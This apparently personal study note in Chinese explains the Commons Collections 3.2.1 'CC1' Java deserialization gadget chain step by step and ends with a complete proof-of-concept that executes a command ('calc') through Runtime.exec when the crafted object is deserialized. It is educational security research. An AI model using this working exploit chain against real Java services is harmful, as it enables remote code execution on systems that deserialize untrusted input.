前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教。谢谢!
环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了
下载链接:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
maven:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1 有漏洞的版本是commons-collections3.2.1
sun源码:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 拷贝到jdk目录下,这样便于阅读jdk源码
序列化与反序列化函数:
1 public static void serialize(Object obj) throws Exception{ 2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); 3 oos.writeObject(obj); 4 } 5 public static Object unserialize(String Filename) throws Exception{ 6 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); 7 Object obj = ois.readObject(); 8 return obj; 9 }
首先,我们要知道,反序列化漏洞归根结底就是需要调用到危险函数,然后有些类会重写readObject方法,那么如果在调用Object方法的时候传入了具有危险方法的类,那么就会触发反序列化漏洞。CC链的作者发现在commons-collections下有一个Transformer接口
实现了Transformer接口的类
主要来看一下一下几个实现类中对transformer方法的实现:
ChainedTransformer:
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
可以看到,这个方法会接受一个Object数组,在调用这个方法的时候,会从构造函数接收的iTransformers中的类去调用transform方法,直到结束。
ConstantTransformer:
public Object transform(Object input) { return iConstant; }
无论该方法接受的对象是什么类型,最后都会返回的是类初始化时接受的对象类型。
InvokerTransformer:
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
可以看到,在这个类中,transform方法调用时,会反射调用iMethodName方法,然后执行,而且,方法名称和参数是我们可以控制的,这就是我们要找的危险函数。
InvokerTransformer的简单利用
我们知道,在java中要执行命令,需要利用Runtime类,那么简单的使用Runtime去执行命令就可以利用以下的写法:
Runtime.getRuntime().exec("calc");
反射调用的写法:
Runtime runtime = Runtime.getRuntime(); Class c = Runtime.class; Method execMethod = c.getMethod("exec",String.class); execMethod.invoke(runtime,"calc");
利用InvokerTransformer类的写法:
Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
寻找调用了transform方法的类
现在我们已经找到了危险方法,也知道了如何去利用该危险方法,那么我们现在就需要去寻找,还有哪些类同样调用了InvokerTransformer中的transform方法,这样我们才能加以利用
可以看到,以上很多的类都调用了transform方法,但是我们需要找到的是不同名类但是调用了同名方法的地方,所以很多同名函数都是不可加以利用的,为了简单起见,我们选择TransformedMap这个类。因为这个类中好几处都调用了transform方法。
TransformedMap的构造函数:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
因为这个构造函数是protected修饰的,所以只能在类内被调用,但是,我们发现这个方法被类中的一个public方法decorate调用了,那么我们就可以通过该方法给他传值,然后再去想办法调用transform方法,从而实现利用
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
具体构造代码如下:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap
但是,我们会发现,在TransformedMap中,只有checkSetValue中会使value值去调用transform方法,但是这个方法又是protected修饰的,那么我们就需要去看一下有没有别的地方调用了这个方法。可以发现,在MapEnter的setValue中调用了这个方法
我们知道,MapEnter是在Map遍历的时候使用的,实际上这个方法就是重写了entry中的setValue方法,那么我们只要遍历被修饰过的Map,就会走到这个方法中,所以利用代码如下:
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMapmap = new HashMap (); map.put("kay","value"); Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); }
那么我们现在要去寻找,是否存在某个类,在readObject时调用了setValue方法,可以发现在AnnotationInvocationHandler的readObject中调用了该方法。
我们可以看一下,这个类的构造函数,可以看到,构造函数的第二个参数传入的是一个map类型,使我们可控的,所以我们可以利用这个类的readObject方法来实现利用
AnnotationInvocationHandler(Class extends Annotation> type, MapmemberValues) { Class>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
因为这个类的构造函数是default修饰的,所以我们只能通过反射的方法来构造,然后进行序列化和反序列化就可以了。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMapmap = new HashMap (); map.put("kay","value"); Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); //第一个参数继承了注解,我们先用override尝试 Object o = constructor.newInstance(override.class,transformedMap); serialize(o); unserialize("ser.bin");
存在的问题
通过以上的代码实际上并不能实现利用,因为还存在以下的问题:
1.setValue方法中的值,是方法自动生成的,我们无法控制
2.Runtime对象无法序列化
3.setValue中的if判断需要满足
如何解决?
1.Runtime对象无法序列化的解决办法
我们知道Class是可以被序列化的,但是Runtime.class是可以被序列化的,那么我可以通过反射来获取
Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime"); Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null); Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(runtime,"calc");
修改成invokeTransformer版本
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}) .transform(Runtime.class); Runtime runtime = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}) .transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
可以发现,实际上后一个的返回值会作为前一个的transform的参数,那么就可以去使用之前提到的ChainedTransformer
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
然后利用之前的代码进行调用
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMapmap = new HashMap (); map.put("kay","value"); Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); //第一个参数继承了注解,我们先用override尝试 Object o = constructor.newInstance("override",transformedMap); serialize(o); unserialize("ser.bin");
但是发现还有运行不了,现在来解决剩下的两个问题
2.setValue中的if判断需要满足
可以看到,type的值是从传入的type类型获取的,但是override中不存在任何的值,但是target中存在,所以我们可以利用target来替代,而且因为target中的值为value,所以我们要修改map中的值为value
Object o = constructor.newInstance(Target.class,transformedMap);
map.put("value","value");
3.setValue方法中的值,是方法自动生成的,我们无法控制
上面提到过ConstantTransformer会一直返回初始化的Transformer,那么我们就可以利用他来避免readObject中的修改。
所以完整poc如下:
1 Transformer[] transformers = new Transformer[]{ 2 //避免被readObject修改 3 new ConstantTransformer(Runtime.class), 4 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 5 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}), 6 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) 7 }; 8 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 9 HashMapmap = new HashMap (); 10 map.put("value","value"); 11 Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer); 12 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 13 Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); 14 constructor.setAccessible(true); 15 //第一个参数继承了注解,我们先用override尝试 16 Object o = constructor.newInstance(Target.class,transformedMap); 17 serialize(o); 18 unserialize("ser.bin");